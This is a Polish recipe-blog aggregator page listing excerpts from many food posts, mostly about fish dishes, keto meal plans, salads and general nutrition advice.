zakrzepów tętnicy gałki ocznej. 3. Bardzo ważna jest dbałość o obecność w diecie cynku . Jego niedobór w siatkówce oka może prowadzić do krótkowzroczności. Dobrym źródłem cynku jest mięso i ryby, a także ser, mleko i orzeszki ziemne. 4. Musimy także pamiętać o miedzi , która pomaga w utrzymaniu wiązań kolagenowych. Miedź znajdziemy w podrobach, roślinach strączkowych, orzechach i produktach pełnoziarnistych(...)naszej diecie nie może zabraknąć także zdrowych kwasów tłuszczowych omega-3. Dzięki zmniejszeniu produkcji mediatorów stanu zapalnego ograniczają one nieprawidłowości w ukrwieniu oka. Kwasy omega- 3 znajdziemy w: tłustych rybach (łosoś, makrela, sardynki), siemieniu lnianym, nasionach chia, czy orzechach włoskich. 6. Istotne są także antocyjany , które obniżają kruchość naczyń włosowatych i przyspieszają regenerację barwnika odpowiedzialnego za prawidłowe widzenie. Znajdziemy

Natka Pietruszki
Keto święta 39

pieczony stek wołowy lub pieczeń wieprzowa, podawane z aromatycznymi ziołami i sosem z masła . Inną opcją są duszone żeberka wieprzowe w sosie koperkowym , idealne na wigilijny stół. Dla miłośników ryb pieczona dorsz w sosie cytrynowym lub łosoś z koperkiem to pyszne i zdrowe dania. Wielbicieli drobiu mogą zainteresować pieczone kawałki kurczaka z suszonymi pomidorami i bazylią . Wśród dań mięsnych można(...)Podczas gdy dieta ketogeniczna promuje zdrowe tłuszcze i ograniczenie węglowodanów, keto dania świąteczne mogą być równie smaczne i atrakcyjne dla podniebienia. Korzystanie z naturalnych składników, takich jak warzywa, mięso, ryby i zdrowe tłuszcze, pozwala na przygotowanie pysznych potraw, które są zarówno zgodne z zasadami diety keto, jak i zachwycające dla kubków smakowych. Ponadto keto święta mogą być okazją do wspólnego

Keto Meto Przepisy
Keto święta 39

pieczony stek wołowy lub pieczeń wieprzowa, podawane z aromatycznymi ziołami i sosem z masła . Inną opcją są duszone żeberka wieprzowe w sosie koperkowym , idealne na wigilijny stół. Dla miłośników ryb pieczona dorsz w sosie cytrynowym lub łosoś z koperkiem to pyszne i zdrowe dania. Wielbicieli drobiu mogą zainteresować pieczone kawałki kurczaka z suszonymi pomidorami i bazylią . Wśród dań mięsnych można(...)Podczas gdy dieta ketogeniczna promuje zdrowe tłuszcze i ograniczenie węglowodanów, keto dania świąteczne mogą być równie smaczne i atrakcyjne dla podniebienia. Korzystanie z naturalnych składników, takich jak warzywa, mięso, ryby i zdrowe tłuszcze, pozwala na przygotowanie pysznych potraw, które są zarówno zgodne z zasadami diety keto, jak i zachwycające dla kubków smakowych. Ponadto keto święta mogą być okazją do wspólnego

Keto - Meto Przepisy
Dieta odchudzająca jadłospis na 14 dni: Przepisy, wskazówki i plan na dwa tygodnie 41

należy wykluczyć z diety. SPRAWDŹ: Co jeść a czego unikać na odchudzającej diecie ketogenicznej? W diecie zorientowanej na odchudzanie warto uwzględnić przede wszystkim takie składniki, jak: tłuste ryby i owoce morza (bogactwo białka i tłuszczu, w tym przeciwzapalnych kwasów omega-3) białe mięso i jajka jako uniwersalne źródła białka i tłuszczu awokado i zdrowe tłuszcze (np. oliwa z oliwek, kokos(...)śniadanie Odchudzający obiad Odchudzająca kolacja Jajka zapiekane w awokado Zupa drobiowo- śmietanowa z papryką i selerem naciowym Cukinia nadziewana kurczakiem i pieczarkami Keto muffiny jajeczne z cukinią i kabanosem Ryba w boczku ze szparagami i sosem holenderskim Sałatka z brokułem, jajkiem i pomidorem Roladki z cukinii z serkiem i łososiem Keto paella z kurczakiem i krewetkami na ryżu z kalafiora

Modern Cave Girl
Top 10 hitów na grilla! 59

rewelacyjnie smakuje, a przy tym jest łatwe i szybkie w przygotowaniu.   Grillowane ziemniaczki Przepis tutaj (KLIK) Ziemniaczki pieczone w boczku wędzonym to pyszny dodatek do grillowanych mięs, ryb i warzyw. Smakują wybornie i są szybkie w przygotowaniu. Można je przygotować także w piekarniku – wówczas pieczemy je do momentu, aż boczek wyraźnie się zrumienia.   Grillowane polędwiczki Przepis tutaj (KLIK(...)domowej, bardzo prostej do wykonania marynacie. Zobaczycie, to mięsko wprost rozpływa się w ustach!   Sałatka ziemniaczana do grilla Przepis tutaj (KLIK) Ta sałatka świetnie pasuje do mięs i ryb z grilla, a także do potraw pieczonych w piekarniku. Smakuje wybornie i pięknie prezentuje się na stole. Polecam!   Chińska sałatka do grilla Przepis tutaj (KLIK) Bardzo smaczny dodatek

Blog z Apetytem
Pieczony łosoś w panierce chlebowo-parmezanowej 24

tarty parmezan, oliwę oraz sól i pieprz, mieszamy (powstała „kruszonka” powinna zlepiać się w całość po ściśnięciu, po czym po rozkruszeniu delikatnie rozpadać). Usuwamy skórę z łososia, rybę dzielimy na porcje i doprawiamy oregano oraz szczyptą soli i pieprzu. Na łososia nanosimy przygotowaną panierkę, dociskamy dokładnie (ja dałam dość grubą warstwę). Przenosimy na wyłożoną papierem do pieczenia blaszkę

Smaki Na Talerzu
Jak szybko podnieść poziom żelaza? 40

utrzymać go na odpowiednim poziomie. Dieta bogata w żelazo Pierwszym krokiem do podniesienia poziomu żelaza jest wprowadzenie do diety produktów bogatych w ten składnik. Najlepszym źródłem żelaza są mięso, ryby i drób. Warto również spożywać rośliny strączkowe, takie jak soczewica, fasola czy ciecierzyca. Warzywa liściaste, takie jak szpinak i jarmuż, również zawierają dużo żelaza. Ważne jest również spożywanie produktów bogatych(...)skonsultować się z lekarzem. Wezwanie do działania: Aby szybko podnieść poziom żelaza, zalecamy podjęcie następujących kroków: 1. Zwiększ spożycie żelaza bogatych w produkty spożywcze, takie jak czerwone mięso, drób, ryby, szpinak, jarmuż, fasola, soczewica, orzechy i nasiona. 2. Unikaj jedzenia lub picia produktów, które mogą hamować wchłanianie żelaza, takich jak kawa, herbata, nabiał i produkty bogate w wapń. 3. Skonsultuj

Żyję by jeść
ŁOSOŚ PIECZONY Z ANANASEM 30

Łosoś pieczony z ananasem w miodowej marynacie to nie tylko sposób na wyjątkowo smaczną potrawę, ale również doskonały sposób na połączenie różnorodnych smaków i tekstur. Ta delikatna ryba, połączona z soczystym ananasem i słodko-pikantną marynatą z miodu, sokiem z cytryny i przyprawami, tworzy kompozycję, która  … The post ŁOSOŚ PIECZONY Z ANANASEM appeared first on Smaczne potrawy

Smaczne Potrawy
Grillowany łosoś z salsą mango 48

Grillowany łosoś z salsą mango Zapraszam was dzisiaj do wypróbowania mojego niebanalnego przepisu na rybę z grilla. Grillowany łosoś podany z prawdziwą bombą smaków czyli salsą ze słodkiego, soczystego mango, intensywnej kolendry i ostrego chili. Dla mnie połączenie naprawdę pyszne i nieoczywiste. Dla wielbicieli oryginalnych smaków. Jeśli wolicie możecie z tą pyszną salsą podać także kolety z kurczaka . Po więcej

Dorota Smakuje
Kurczak po grecku – znana potrawa w nowej odsłonie 70

Kurczak po grecku to pyszna alternatywa dla tej znanej potrawy, którą robi się z rybą. Panierowane kawałki piersi z kurczaka z warzywami w sosie pomidorowym zawsze wszystkim smakują. Wyobraźcie sobie zdziwienie gości, kiedy sięgają po rybę po grecku na imprezie i dopiero kiedy skosztują, orientują się, że coś jest nie tak. Takiego kurczaka można podać na zimno na kolację

e-PrzepisyKulinarne
KONFITURA POMARAŃCZOWA 28

Konfitura pomarańczowa z delikatną skórką pomarańczową to dodatek który warto mieć lodówce. Ta konfitura zmienia dania w smakowe dzieło sztuki. Nieoceniony dodatek do słodkich naleśników, placków, pierogów, sałatek czy ryb. Aromatyczna, bezbłędnie zestawiona barwa smakowa. Totalny obłęd dla podniebienia. INNE PYSZNE PRZEPISY:   POMARAŃCZOWA SZARLOTKA Z ORZECHAMI BRAZYLIJSKIMI     GRUSZKOTKA Z BITĄ ŚMIETANĄ W SZKLANCE     KREM CYTRYNOWY(...)Konfitura pomarańczowa z delikatną skórką pomarańczową to dodatek który warto mieć lodówce. Ta konfitura zmienia dania w smakowe dzieło sztuki. Nieoceniony dodatek do słodkich naleśników, placków, pierogów, sałatek czy ryb. Aromatyczna, bezbłędnie zestawiona barwa smakowa. Totalny obłęd dla podniebienia. Rodzaj Dodatki, Kuchnia Polska Słowo kluczowe Konfitura, Pomarańcze, Skórka pomarańczowa Czas przygotowania 1 godzina godzina Czas gotowania 45 minuty minuty Porcje

globuskulinarny
Hummus, przepis: jak przygotować idealny domowy hummus z ciecierzycy? 40

hummus w kuchni: Do mięsa: hummus doskonale komponuje się z grillowanym kurczakiem, jagnięciną czy wołowiną. Można go podać jako sos do mięsa lub jako dodatek do sałatek mięsnych. Do ryb: hummus może być również używany jako dodatek do ryb, takich jak łosoś, tuńczyk czy dorsz. W połączeniu z warzywami i ziołami tworzy wyjątkowe danie. Do sałatek: hummus może być dodawany

Ugotowane pozamiatane
Przepisy dla dzieci: zdrowe i smaczne posiłki dla najmłodszych 30

próbowania nowych smaków. Pamiętajmy również o tym, że wartościowe witaminy dla dzieci można znaleźć nie tylko w warzywach i owocach, ale także w produktach takich jak jaja, ryby, mięso czy nabiał. Podsumowanie Przedstawiłam powyżej różne aspekty związane z przepisami dla dzieci , takie jak nowe smaki, proste dania, zdrowe obiady, gotowanie z dziećmi, ciasteczka, przekąski, desery, śniadania, dania dla niejadków, wprowadzenie(...)może być doskonałą okazją do nauki i zabawy, a także budowania więzi rodzicielskiej. Zdrowa dieta dla dzieci to nie tylko warzywa i owoce, ale także produkty takie jak jaja, ryby, mięso czy nabiał. Warto zwrócić uwagę na wprowadzenie nowych smaków oraz składników odżywczych w diecie dziecka, aby przyzwyczaić je do różnorodności i uniknąć wybredności. Dbając o zdrowie naszych pociech, warto

Wiszniówka
Babka czekoladowa - wilgotna i aromatyczna 25

Babka czekoladowa posypana cukrem pudrem Ta babka czekoladowa to prawdziwa poezja czekoladowego smaku. Jest cudownie wilgotna, bardzo czekoladowa, pachnie delikatnie wanilią i leciutką nutką kawy. Czego

Korniszonki
Jajka faszerowane musem z tuńczyka i kiełkami z buraka 38

faszerowane tuńczykiem nadają się na imprezę? Absolutnie! Jajka faszerowane tuńczykiem są idealne jako elegancka, ale łatwa w przygotowaniu przekąska na różnego rodzaju imprezy i spotkania. Czy mogę użyć innej ryby zamiast tuńczyka? Tak, możesz eksperymentować z różnymi rodzajami ryb w puszkach, takimi jak łosoś lub makrela, aby uzyskać różnorodność smaków. Jak mogę sprawić, aby moje jajka faszerowane były bardziej pikantne

Moja Książka Kucharska
Dominikana – jakich owoców warto spróbować i dlaczego awokado lub mango już nigdy nie będą smakować tak samo? 37

jako smaczna przekąska lub przystawka. Salsa de aguacate : salsa de aguacate to sos przygotowany z awokado, cebuli, pomidorów, czosnku, limonki i kolendry. Jest to doskonały dodatek do grillowanych mięs, ryb czy sałatek. Awokado jako dodatek do sałatek : na Dominikanie awokado jest często dodawane do sałatek, aby dodać kremowej tekstury i bogactwa smaku. Może być również składnikiem sałatek owocowych, tworząc interesujący(...)Wracając na ziemię, muszę zaznaczyć, że kokos jest też najczęściej spotykanym składnikiem w kuchni dominikańskiej – dodaje smaku i poprawia konsystencję wielu potraw. Z pewnością traficie na mięso lub rybę w sosie kokosowym – musicie spróbować, bo smakuje obłędnie. Na ulicach sprzedawane są kokosowe chlebki, wypiekane najczęściej w domach sprzedawców – są ciekawe w smaku, ale dość suche. Nasze doświadczenia

Eat me! Fit me!
Sałatka 3 fasole 49

agawy, musztardy oraz przypraw. Ta smaczna sałatka fasolowa jest wyśmienita nie tylko jako indywidualne danie ale sprawdza się równie dobrze jako dodatek, zarówno do mięs jak i serów oraz ryb. Poniżej kilka propozycji na dania, z którymi podać można sałatkę 3 fasole. kurczak na ryżu kurczak w sosie cytrynowym camembert z patelni pulpeciki z łososia ryba z grilla Zachęcam

MeCooks
Parowar szklany czy plastikowy – który wybrać? 32

zabrać ze sobą, na przykład w podróżach Szybkie i zdrowe gotowanie – zachowuje składniki odżywcze i aromat potraw Wielofunkcyjność – można w nim przygotować różnorodne dania, od warzyw po ryby i mięso Łatwe czyszczenie – małe parowary są zazwyczaj łatwe do zmywania i utrzymania w czystości Parowar to idealne rozwiązanie dla osób, które chcą gotować zdrowo i smacznie, nawet(...)odżywczych. Takie gotowanie pozwala na zachowanie naturalnych smaków i aromatów składników, co daje nam zdrowsze i smaczniejsze posiłki. Pieczenie także jest możliwe w parowarze, który umożliwia nam upieczenie mięsa, ryb, warzyw i innych potraw. Parowar zapewnia równomierne rozprowadzenie ciepła, co przekłada się na idealne i soczyste efekty pieczenia. Niektóre parowary posiadają również funkcję grillowania, która pozwala na uzyskanie efektu grillowanego

Ekscentryczny Parowar
Jaki kawior jest lepszy czarny czy czerwony? 40

przyjrzymy się bliżej obu rodzajom kawioru i postaramy się odpowiedzieć na pytanie, który jest lepszy. Czarny kawior Kawior czarny jest najbardziej znany i powszechnie dostępny. Pochodzi głównie z jesiotra, ryby słodkowodnej, która zamieszkuje rzeki i jeziora w różnych częściach świata. Jest to najdroższy rodzaj kawioru, ze względu na ograniczoną ilość dostępnych ryb i długotrwały proces produkcji. Czarny kawior ma bogaty

Żyję by jeść
Co lubi trzustka i wątroba? 38

prowadzić do zwiększonej produkcji enzymów trawiennych przez trzustkę, co może doprowadzić do stanu zapalnego. Zamiast tego, warto wybierać lekkie i łatwostrawne posiłki, takie jak gotowane warzywa, chude mięso i ryby. Wątroba Wątroba jest największym narządem w naszym ciele i pełni wiele istotnych funkcji. Jedną z jej głównych ról jest oczyszczanie organizmu z toksyn i produkcja żółci, która pomaga w trawieniu(...)spożywanie białka Wątroba potrzebuje odpowiedniej ilości białka, aby prawidłowo funkcjonować. Białko jest niezbędne do odbudowy i regeneracji komórek wątroby. Dlatego warto regularnie spożywać źródła białka, takie jak chude mięso, ryby, jaja i rośliny strączkowe. Ograniczenie spożycia alkoholu Alkohol jest jednym z największych wrogów wątroby. Spożywanie nadmiernej ilości alkoholu może prowadzić do uszkodzenia komórek wątroby i rozwoju chorób, takich jak marskość

Żyję by jeść
Pomysły na polski obiad – czym zaskoczyć gości? 43

dania z efektem wow! Tradycyjna kuchnia polska opierała się na składnikach, które były łatwo dostępne w dawnych czasach na terenie naszego kraju. Dominowały tu potrawy ze zbóż, warzyw, nabiału, ryb słodkowodnych i mięs. Popularne były też dania z dodatkiem runa leśnego . Oczywiście tradycyjna kuchnia różniła się nieco w zależności od regionu Polski, jednak typowe surowce i dania były zbieżne(...)względu na nabiał, jednak z biegiem czasu wskutek zwiększania liczby pastwisk, zaczęto je trzymać też z uwagi na cenne mięso. Inne doskonałe pomysły na polski obiad to pieczone ryby, smażone podroby czy rolady z wieprzowiny. Wśród nieco nowszych dań, na które spory wpływ miały kuchnie innych krajów, znajdziemy kotlet schabowy, gulasz czy golonkę. W moim odczuciu jednak zrazy są daniem

Rozdomowiona
Bakłażan pieczony w sosie koperkowo – cytrynowym (jak ryba) 41

Doskonały pomysł na bezmięsny obiad, czyli bakłażan w sosie koperkowo - cytrynowym, który PRAWIE smakuje jak ryba. Artykuł Bakłażan pieczony w sosie koperkowo – cytrynowym (jak ryba) pochodzi z serwisu Pieprzyć z Fantazją

Pieprzyć z Fantazją
Przykładowy Odchudzający Jadłospis Redukcyjny na Tydzień = Skuteczny Plan Na Odchudzanie 42

dzień na spożywanie warzyw bogatych w witaminy i minerały . Cukinia , szparagi i brokuły dostarczą niezbędnych składników. 2. Dzień: Odchudzające Keto Śniadanie Keto muffiny jajeczne 2. Dzień: Odchudzający Keto Obiad Ryba w boczku ze szparagami 2. Dzień: Odchudzająca Keto Kolacja Keto sałatka z brokułem i jajkiem Środa: Proteinowy Kop Środkowa część tygodnia wymaga uzupełnienia białka . Dania mięsno - warzywne to doskonały wybór(...)kremowym sosie 6. Dzień: Odchudzająca Keto Kolacja Keto sałatka z wołowiną Niedziela: Regeneracja Organizmu Niedziela to idealny dzień na pyszne i lekkostrawne posiłki. Zupa krem z warzyw czy grillowane ryby dostarczą niezbędnych składników. 7. Dzień: Odchudzające Keto Śniadanie Proteinowe pankejki z borówkami 7. Dzień: Odchudzający Keto Obiad Keto łosoś w stylu śródziemnomorskim 7. Dzień: Odchudzająca Keto Kolacja Śmietankowa zupa krem

Modern Cave Girl
Sudańska sałatka z pomidorów i masła orzechowego 42

Sudanu, składająca się z pomidorów, cebuli, pietruszki i chili, polana sosem z masła orzechowego i soku z limonki. To lekka i orzeźwiająca przekąska, idealnie komponująca się z mięsem, rybą, ryżem lub chlebem. Salata Tomatim Bel Daqua jest prosta i szybka w przygotowaniu, a jej składniki są tanie i łatwo dostępne. Skąd pochodzi — Salata Tomatim Bel Daqua? Salata Tomatim Bel Daqua(...)się z pomidorów, cebuli, pietruszki i chili, polana sosem z masła orzechowego i soku z limonki. To lekka i orzeźwiająca sałatka, idealna do wielu dań głównych, takich jak mięso, ryba, ryż lub chleb. Pochodzi z Sudanu, kraju o bogatej kulturze i różnorodnej kuchni. Salata Tomatim Bel Daqua to danie, które można dostosować do własnych preferencji, eksperymentując z dodatkami, proporcjami

RafalCook
Koreczki śledziowe po kaszubsku 51

bardzkiej kwaśnej, ale przełamanej słodką nutą zalewy. Można je też podać w wersji obiadowej, bo rewelacyjnie smakują w towarzystwie tłuczonych ziemniaków. A jak wiadomo śledź to jedna ze zdrowszych ryb i warto ją dodać do jadłospisu. Polecam wypróbować. PRZEPIS KORECZKI ŚLEDZIOWE PO KASZUBSKU Składniki: 500g filetów śledziowych mniejszych solonych lub w oleju 4 łyżki rodzynek 3 duże cebule 100g przecieru

Dorota Smakuje
Pieczone pierogi półkruche z kapustą i grzybami 40

Pieczone pierogi półkruche z kapustą i grzybami Kochamy pierogi w każdej postaci. Na naszych stołach królują pierogi gotowane z cienkiego ciasta z maki i wody, ale

Korniszonki
Monastyrska izba, czyli drwa pod śniegiem lub wiśnie pod śniegiem 37

Monastyrska izba, czyli drwa pod śniegiem Monastyrska izba to wyjątkowe ciasto. Dość pracochłonne, ale efekt robi wrażenie pod każdym względem — smaku i wyglądu. To “śnieżne” ciasto

Korniszonki
12 potraw wigilijnych – PRZEPISY 134

wędzone tofu, które idealnie pasuje do bigosu! Bigos jest jednym z tradycyjnych dań wśród 12 potraw wigilijnych. ZOBACZ PRZEPIS 7. Tofu-łosoś – czyli wegański łosoś Niecodzienny przepis na rybę, ale w wersji bezmięsnej – czyli łosoś z tofu. Wegański “łosoś” będzie świetnym pomysłem do przygotowania dla wszystkich, którzy nie jedzą ryb. ZOBACZ PRZEPIS 8. Pierogi z kaszą

Via Gusto
Sillsalad – szwedzka sałatka śledziowa z burakiem 44

obowiązkowy szwedzkiego Julbord , czyli tradycyjnej świątecznej uczty serwowanej podczas Świąt Bożego Narodzenia. Ta prosta sałatka śledziowa króluje obok takich potraw jak Janssons frestelse (zapiekanka ziemniaczana), pieczone mięsa, kiełbaski, wędzone ryby czy wędliny z dziczyzny. Patrząc na to, jak Polacy lubią śledzie i jak popularne są te ryby w okresie świątecznym, jestem przekonana, że ta szwedzka sałatka może być prawdziwym hitem

Na-talerzu.pl
Tajska sałatka z makaronem ryżowym 33

sałatka jak poprzednia, ale zamiast krewetek dodaje się gotowaną lub smażoną wieprzowinę, która nadaje sałatce bardziej mięsnego smaku. Yum woon sen pla – ยำวุ้นเส้นปล​ – sałatka z makaronem ryżowym i rybą. Jest to sałatka, która zawiera gotowaną lub smażoną rybę, taką jak tilapia, makrela czy dorsz, a także warzywa, zioła, orzechy i sos. Można też dodać kawałki ananasa lub mango

RafalCook
Pieczarki duszone w śmietanie 38

choć głównym bohaterem tego przepisu są oczywiście pieczarki, to wyczujesz w nim również dyskretne smaki gałki muszkatułowej oraz cytryny. Sos śmietanowy z pieczarkami możesz podać z makaronem, kurczakiem, rybą lub pieczonymi ziemniakami. Podobnie jak pieczarki w sosie pomidorowym lub klasyczny sos pieczarkowy , również pieczarki duszone na maśle ze śmietaną dodadzą mnóstwa smaku niejednej potrawie. I choć wyglądają bardzo elegancko(...)wyłącz palnik. Jeśli chcesz przełamać nieco delikatny smak sosu, możesz dodać nieco soku z cytryny. Pieczarki w śmietanie lubimy podawać na gorąco z ulubionym makaronem, piersią kurczaka, polędwiczkami wieprzowymi, rybą, klopsikami, a także warzywami oraz gotowanymi lub pieczonymi ziemniakami. Sos śmietanowy z pieczarkami przechowuj w lodówce w zamkniętym pojemniku do 3 – 4 dni. Aby podgrzać, doprowadź wolno do wrzenia

Kuchnia Na Wypasie
Kiedy pojawił się ketchup w Polsce? 35

korzenie w Chinach. Pierwsze wzmianki o podobnym sosie pochodzą z III wieku p.n.e. Był to jednak zupełnie inny produkt niż ten, który znamy dzisiaj. Chiński sos był przygotowywany z ryb, grzybów i przypraw, a jego nazwa brzmiała „kôe-chiap”. W XVII wieku ketchup trafił do Europy za sprawą żeglarzy holenderskich, którzy sprowadzili go z Azji. W tamtych czasach(...)był on nadal przygotowywany z ryb, ale z czasem przepis na ten sos uległ zmianie. Ketchup w Polsce Pierwsze wzmianki o ketchupie w Polsce pochodzą z XIX wieku. Wtedy to sos ten zaczął być importowany z zagranicy, głównie z Anglii i Stanów Zjednoczonych. Był to jednak luksusowy produkt, dostępny tylko dla zamożniejszych warstw społecznych. W latach 60. XX wieku ketchup

Żyję by jeść
Frytki 32

Frytki to niewątpliwie jeden z popularniejszych dodatków ze smażonych ziemniaków serwowanych do mięs, ryb, nuggetsów czy domowych hamburgerów. Frytki to szybki i fajny sposób na podanie ziemniaków z patelni. Uwielbiają je dzieci i dorośli. Najlepiej smakują z solą i ketchupem. Frytki złociste i chrupiące z zewnątrz, mięciutkie w środku. Zapraszam po mój sprawdzony przepis na smażone frytki. Domowe, smażone frytki(...)łyżką cedzakową lub szczypcami. Odsączaj na papierowym ręczniku. Frytki podawaj posolone, z ketchupem lub ulubionym sosem, np. sosem tysiąca wysp . Smakują jako dodatek do dań mięsnych, potraw z grilla, ryb oraz jako samodzielne danie / przekąska na ciepło. Smacznego Kuchnia

Zasmakuj Kuchni
Zupa z łososia 37

wymieszać z pastą pomidorową, dodać 2 łyżki wywaru, razem połączyć i wlać do zupy, gotować 5 minut. Zdjąć zupę z ognia, dodać masło, przykryć i pozostawić na 15 minut. Rybę podzielić na porcje, rozłożyć na talerze i zalać zupą. Do każdego talerza wlać po łyżce sosu sojowego. Żeby obniżyć ryzyko chorób serca, lekarze zalecają spożywać nie mniej niż 2 porcje(...)180g) tłustych ryb tygodniowo(łosoś, pstrąg, sardynki, śledź, makrela) Smacznego:)   Artykuł Zupa z łososia pochodzi z serwisu gotuj

gotuj ze mną
Porównanie diet niskowęglowodanowych – keto, low carb, Carnivore. Na czym polegają i czym się różnią? 37

tłuszcz jako główne źródło energii zamiast glukozy. Aby osiągnąć ketozę, konieczne jest ograniczenie spożycia węglowodanów. Co stanowi znaczący odstęp od tradycyjnego modelu żywienia. W diecie keto przeważają tłuste mięsa, ryby, oleje, masło, awokado, tłuste nabiały, orzechy oraz niskowęglowodanowe warzywa. Ważnym elementem jest unikanie produktów bogatych w węglowodany, takich jak pieczywo, makarony, zboża oraz większość owoców. Dieta ta wymaga świadomego planowania(...)warzyw, niektórych owoców oraz różnych źródeł białka i tłuszczów. Natomiast dieta mięsożercy (Carnivore) ogranicza się wyłącznie do spożywania produktów pochodzenia zwierzęcego, eliminując wszystkie roślinne źródła pożywienia. Obejmuje mięso, ryby, jaja i niektóre produkty mleczne, całkowicie wykluczając warzywa, owoce, orzechy i nasiona. Jest to dieta jednoskładnikowa, która stawia na wysokie spożycie białka i tłuszczu, z minimalnym lub zerowym spożyciem węglowodanów

FoodMagazine.pl - Przepisy kulinarne
12 potraw wigilijnych z różnych stron Polski – zainspiruj się 36

modyfikowany i dziś nie przypomina już swojego pierwowzoru. Jeśli szukasz innej sałatki na Wigilię , to możesz rozważyć przygotowanie wersji śledziowej. Choć tego dnia nie je się mięsa, to jednak ryby nie tylko są dopuszczalne, ale i stały się wręcz nieodłącznym elementem na stole. Co jedzą na Śląsku? Śląska kuchnia nie od dziś kojarzy się z wyrazistymi smakami. Z tego regionu(...)znajdziesz karpia, ale także lina w śmietanie, okonia, szczupaka czy sandacza. Jeśli chodzi o desery, to najpopularniejszym zdecydowanie jest makowiec oraz kluseczki z makiem i bakaliami. Na Kaszubach królują ryby W tej części naszego kraju do tradycyjnych potraw należy między innymi śledź po kaszubsku. W odróżnieniu od Mazur tutaj je się węgorze i łososie, które miejscowi przyrządzają na różne sposoby

Via Gusto
Gotowanie na parze – wiele powodów, dla których warto go spróbować! 43

potrawy ugotowane na parze mają dobry smak? Gotowanie na parze w naturalny sposób podkreśla i wzmocnia smak przyrządzanych składników, co pozwala uniknąć nadmiernego stosowania soli czy innych przypraw. Warzywa, ryby oraz mięsa, przygotowane tą metodą, często ujawniają swoje pełne bogactwo smaków, stając się delikatne i soczyste. Ponadto, przygotowanie potraw przy pomocy naczynia do gotowania na parze umożliwia subtelne łączenie smaków(...)pozwala na jednoczesne gotowanie wielu składników. Jest to duża oszczędność czasu i energii. Parowary często posiadają różne poziomy, które umożliwiają przygotowanie całego posiłku – od warzyw, przez ryż, aż po ryby czy mięso – w jednym cyklu gotowania. Dodatkowo, naczynia wykorzystywane do gotowania na parze są zazwyczaj łatwe w czyszczeniu, ponieważ żywność nie przywiera do ich powierzchni, a para wodna z natury

ProstePesto.pl
Czy kawior można smażyć? 39

smażony kawior to nowa kulinarne odkrycie czy raczej nieudany eksperyment? Przyjrzyjmy się bliżej tej kwestii. Czym jest kawior? Kawior to luksusowy produkt spożywczy, który jest uzyskiwany z ikry ryb z rodziny jesiotrowatych. Najbardziej ceniony jest kawior jesiotra, zwłaszcza ten pochodzący z dzikich ryb złowionych w Morzu Kaspijskim. Jest to delikatny, drobnoziarnisty i niezwykle smaczny dodatek do wielu dań. Tradycyjne sposoby

Żyję by jeść
Najlepsze sałatki z wędzoną makrelą 42

Wędzona makrela to bardzo popularna ryba, która zdobyła wielkie uznanie ze względu na swój charakterystyczny smak i aromat. Dodatkowo jest bogata w białko i zawiera mnóstwo witamin i minerałów. Wędzoną makrelę można podawać na wiele sposobów – jako przekąskę, dodatek do kanapek, sałatek czy dań obiadowych. Dziś mamy dla Was kilka świetnych propozycji na najlepsze sałatki z wykorzystaniem tej pysznej ryby

BabskiePorady.pl - Przepisy
Jak zrobić idealne ciasto na naleśniki? Kompletny przewodnik krok po kroku 44

uzyskamy gładką konsystencję. Naleśniki smażymy na dobrze rozgrzanej patelni, po obu stronach, aż będą złociste. Aromatyczne naleśniki z ziołami doskonale smakują z farszami na bazie warzyw, serów czy ryb. Sposoby na wykorzystanie ciasta naleśnikowego Ciasto naleśnikowe może być wykorzystywane nie tylko do przygotowania tradycyjnych naleśników. Świetnie sprawdza się także jako panierka, np. jako panierka do smażonego kurczaka . Panierka z ciasta(...)naleśnikowego: jak zrobić? Panierka z ciasta naleśnikowego to świetny sposób na dodanie smaku i chrupkości do różnych potraw. Aby ją przygotować, wystarczy zanurzyć kawałki mięsa, ryby czy warzyw w przygotowanym wcześniej cieście, a następnie smażyć na głębokim tłuszczu lub na patelni z niewielką ilością oleju. Panierka z ciasta naleśnikowego sprawdzi się doskonale jako alternatywa dla tradycyjnej panierki z bułki tartej

e-PrzepisyKulinarne
Menu restauracyjne kiedyś i dziś. 31

którym często delektowali się tylko bogaci i szlachta. Choć wieprzowina, baranina i drób były dostępne, to ich cena sprawiała, że były one zarezerwowane na specjalne okazje. W miastach portowych ryby były powszechne, zwłaszcza wzdłuż wybrzeży Morza Śródziemnego. Dla wielu ludzi jednak głównym źródłem białka były jaja i nabiał. W średniowieczu, kiedy klasztory stały się centrami edukacyjnymi i kulturalnymi, mnisi zaczęli(...)mogli cieszyć się produktami, które wcześniej były dostępne tylko w konkretnych sezonach czy regionach. Kolejna ważna innowacja to wynalezienie lodówki, która umożliwiła przechowywanie żywności w niskich temperaturach. Dzięki temu ryby, mięso i inne produkty mogły być świeże przez dłuższy czas, co wpłynęło na różnorodność i jakość potraw. W XIX wieku rosła też popularność restauracji, zwłaszcza w dużych metropoliach europejskich. Restauracje

Kuchennyviral.pl
Jak dobrać patelnię do sposobu przyrządzania potraw? 49

takiej patelni w zmywarce. Patelni teflonowych można używać na różnego rodzaju kuchenkach, zarówno gazowych, jak i indukcyjnych . Można uznać je za uniwersalne, gdyż nadają się do smażenia zarówno ryb, mięs, jak i warzyw, ale też do duszenia potraw. Na patelni teflonowej przygotujemy naleśniki czy placuszki typu pancake.  Patelnia z powłoką ceramiczną – czy to dobry wybór? Można zdecydować się(...)powłoka jest nieprzywierająca , najczęściej gładka i wykazuje większą odporność na zarysowania. Ponadto stosunkowo łatwo można utrzymać ją w czystości. Taka patelnia jest uniwersalna – nadaje się do smażenia warzyw, ryb oraz mięs.  Powrót do tradycji – patelnie żeliwne  Coraz większą popularnością cieszą się patelnie żeliwne . Są bardzo trwałe, odporne na uszkodzenia mechaniczne, ale i zarysowania. Podczas smażenia nie wydzielają

Słodkie okruszki
Curry warzywne z mintajem 37

Pysznie i zdrowo dziś w miseczce więc warto sobie takie danie przygotować. Trochę przypraw, trochę warzyw i ryba a danie znakomitej jakości znajdzie się na Waszym talerzu. Ja użyłam brukselki, szparagów, cukinii i rzepy i sporo przypraw a potem to już szybko. Chwilę gotowania i danie gotowe na talerzu. Polecam gorąco i zapraszam do stołu. CZYTAJ DALEJ

Moje Małe Czarowanie
Białko i jego wpływ na organizm - niedobór i nadmiar białka 46

zboża. Największą ilość białka w tej grupie zawierają rośliny strączkowe. Eksperci wskazują, że powinniśmy częściowo zastępować nimi mięso.  Białka zwierzęce pochodzą z produktów pochodzenia zwierzęcego, takich jak mięso, ryby, jaja i nabiał.  Największa wartość odżywcza białka występuje w jajach kurzych. Na drugim i trzecim miejscu w rankingu lądują mięso i ryby.  Należy pamiętać, że w posiłkach powinny

Kuchnia MagdaLeny
Białko i jego wpływ na organizm - niedobór i nadmiar białka 46

